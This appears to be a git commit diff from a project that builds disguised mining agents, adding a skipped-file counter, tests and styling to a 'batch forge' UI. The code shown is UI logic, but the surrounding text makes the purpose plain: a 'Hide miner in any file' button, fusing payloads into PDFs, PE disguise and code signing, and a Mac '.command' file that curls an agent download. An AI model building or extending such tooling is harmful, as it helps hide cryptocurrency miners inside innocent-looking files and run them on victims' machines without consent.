Add batch forge per-file skipped counter UI and tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Batch fusion now skips preflight/build failures per file, shows skipped count in progress header and log, and documents coverage by removing the deferred PROBLEMS row.
This commit is contained in:
AetherForge
2026-06-07 06:05:29 -07:00
parent 4e2005a567
commit 39b935aeb6
4 changed files with 131 additions and 9 deletions

View File

@@ -64,7 +64,6 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
| **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. | | **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. |
| **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. | | **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. |
| **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. | | **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. |
| **Path Forge skipped-counter UI** | Batch cancel/race covered (`BuilderPage.test.tsx`); per-file skipped counter in batch progress not fully covered. |
| **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. | | **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. |
| **Mac PathForge runtime** | `.command` curl `/api/download/agent-mac`; needs reachable `server_url` + binary on server. | | **Mac PathForge runtime** | `.command` curl `/api/download/agent-mac`; needs reachable `server_url` + binary on server. |
| **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. | | **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. |

View File

@@ -611,6 +611,79 @@ describe('BuilderPage', () => {
expect(screen.getByText(/1\/2 — cancelled/i)).toBeInTheDocument(); expect(screen.getByText(/1\/2 — cancelled/i)).toBeInTheDocument();
}); });
it('skips per-file build failures and shows skipped counter in batch progress', async () => {
const user = userEvent.setup();
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) => {
if (file?.name === 'bad.pdf') {
return { success: false, error: 'Payload too large for fusion stub' };
}
return successfulBuild({
fusion_enabled: true,
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
});
});
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Packaging', pct: 90 }),
}));
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
fireEvent.change(fusionBatchFileInput(), {
target: { files: [mockFusionFile('bad.pdf'), mockFusionFile('good.pdf')] },
});
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(2));
expect(await screen.findByText(/Batch forged 1 file\(s\) · 1 skipped/i)).toBeInTheDocument();
expect(screen.getByText(/bad\.pdf — Payload too large for fusion stub/i)).toBeInTheDocument();
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
expect(screen.getByText(/good\.pdf — Saved → fusion-deliverables\/good\.pdf/i)).toBeInTheDocument();
});
it('skips per-file preflight failures without aborting the batch', async () => {
const user = userEvent.setup();
const forgeValidation = await import('../help/forgeValidation');
const { runForgePreflight: realPreflight } = await vi.importActual<
typeof import('../help/forgeValidation')
>('../help/forgeValidation');
const preflightSpy = vi.spyOn(forgeValidation, 'runForgePreflight').mockImplementation((form, fusion) => {
if (form.fusion_media_base_name === 'blocked.pdf') {
return [{ id: 'fusion', level: 'error', message: 'Fusion media exceeds size cap' }];
}
return realPreflight(form, fusion);
});
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
successfulBuild({
fusion_enabled: true,
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
}),
);
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Packaging', pct: 90 }),
}));
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
fireEvent.change(fusionBatchFileInput(), {
target: { files: [mockFusionFile('blocked.pdf'), mockFusionFile('allowed.pdf')] },
});
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
expect(buildSpy.mock.calls[0][1]?.name).toBe('allowed.pdf');
expect(await screen.findByText(/blocked\.pdf — Fusion media exceeds size cap/i)).toBeInTheDocument();
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
preflightSpy.mockRestore();
});
it('clears fusion batch queue after successful batch forge', async () => { it('clears fusion batch queue after successful batch forge', async () => {
const user = userEvent.setup(); const user = userEvent.setup();
vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) => vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>

View File

@@ -155,7 +155,8 @@ export default function BuilderPage() {
fileName: string; fileName: string;
phase: string; phase: string;
percent: number; percent: number;
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[]; skipped: number;
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail' | 'skipped'; detail?: string }[];
} | null>(null); } | null>(null);
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null); const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
const [estimateLoading, setEstimateLoading] = useState(false); const [estimateLoading, setEstimateLoading] = useState(false);
@@ -602,8 +603,9 @@ export default function BuilderPage() {
setBuilding(true); setBuilding(true);
const total = fusionBatchFiles.length; const total = fusionBatchFiles.length;
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const })); const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log }); setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, skipped: 0, log });
let ok = 0; let ok = 0;
let skipped = 0;
try { try {
for (let i = 0; i < total; i++) { for (let i = 0; i < total; i++) {
if (batchCancelRef.current) { if (batchCancelRef.current) {
@@ -642,13 +644,44 @@ export default function BuilderPage() {
}); });
const checks = runForgePreflight(req, true); const checks = runForgePreflight(req, true);
if (preflightHasErrors(checks)) { if (preflightHasErrors(checks)) {
throw new Error(`Preflight failed for ${file.name}`); const reason = checks.find((c) => c.level === 'error')?.message ?? 'Preflight failed';
skipped++;
setBatchJob((j) =>
j
? {
...j,
skipped,
fileName: '',
log: j.log.map((row, idx) =>
idx === i ? { ...row, status: 'skipped', detail: reason } : row
),
}
: j
);
continue;
} }
const batchToken = crypto.randomUUID(); const batchToken = crypto.randomUUID();
cancelTokenRef.current = batchToken; cancelTokenRef.current = batchToken;
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file); const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
cancelTokenRef.current = ''; cancelTokenRef.current = '';
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`); if (!result.success) {
skipped++;
setBatchJob((j) =>
j
? {
...j,
skipped,
fileName: '',
log: j.log.map((row, idx) =>
idx === i
? { ...row, status: 'skipped', detail: result.error || 'Build failed' }
: row
),
}
: j
);
continue;
}
setBatchJob((j) => setBatchJob((j) =>
j j
? { ? {
@@ -682,10 +715,13 @@ export default function BuilderPage() {
); );
} }
if (!batchCancelRef.current) { if (!batchCancelRef.current) {
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j)); setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '', skipped } : j));
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`); const skipNote = skipped > 0 ? ` · ${skipped} skipped` : '';
setBlueprintMsg(
`✅ Batch forged ${ok} file(s)${skipNote} — one universal ZIP per file in fusion-deliverables/`
);
setTimeout(() => setBlueprintMsg(''), 6000); setTimeout(() => setBlueprintMsg(''), 6000);
setFusionBatchFiles([]); if (ok > 0) setFusionBatchFiles([]);
} }
} catch (err: unknown) { } catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Batch forge failed'; const msg = err instanceof Error ? err.message : 'Batch forge failed';
@@ -2503,6 +2539,7 @@ export default function BuilderPage() {
<span className="font-tech">BATCH FORGE</span> <span className="font-tech">BATCH FORGE</span>
<span> <span>
{batchJob.current}/{batchJob.total} {batchJob.phase} {batchJob.current}/{batchJob.total} {batchJob.phase}
{batchJob.skipped > 0 ? ` · ${batchJob.skipped} skipped` : ''}
</span> </span>
</div> </div>
<div className="batch-progress-track"> <div className="batch-progress-track">
@@ -2520,7 +2557,15 @@ export default function BuilderPage() {
{batchJob.log.map((row) => ( {batchJob.log.map((row) => (
<li key={row.name} className={`batch-log-${row.status}`}> <li key={row.name} className={`batch-log-${row.status}`}>
<span className="batch-log-icon"> <span className="batch-log-icon">
{row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'} {row.status === 'ok'
? '✓'
: row.status === 'fail'
? '✕'
: row.status === 'skipped'
? '—'
: row.status === 'active'
? '…'
: '○'}
</span> </span>
<span> <span>
{row.name} {row.name}

View File

@@ -1509,6 +1509,11 @@ button.deliverable-card .form-hint {
color: var(--neon-red, #f55); color: var(--neon-red, #f55);
} }
.batch-forge-log li.batch-log-skipped {
color: var(--text-secondary);
opacity: 0.85;
}
.download-actions { .download-actions {
display: flex; display: flex;
flex-wrap: wrap; flex-wrap: wrap;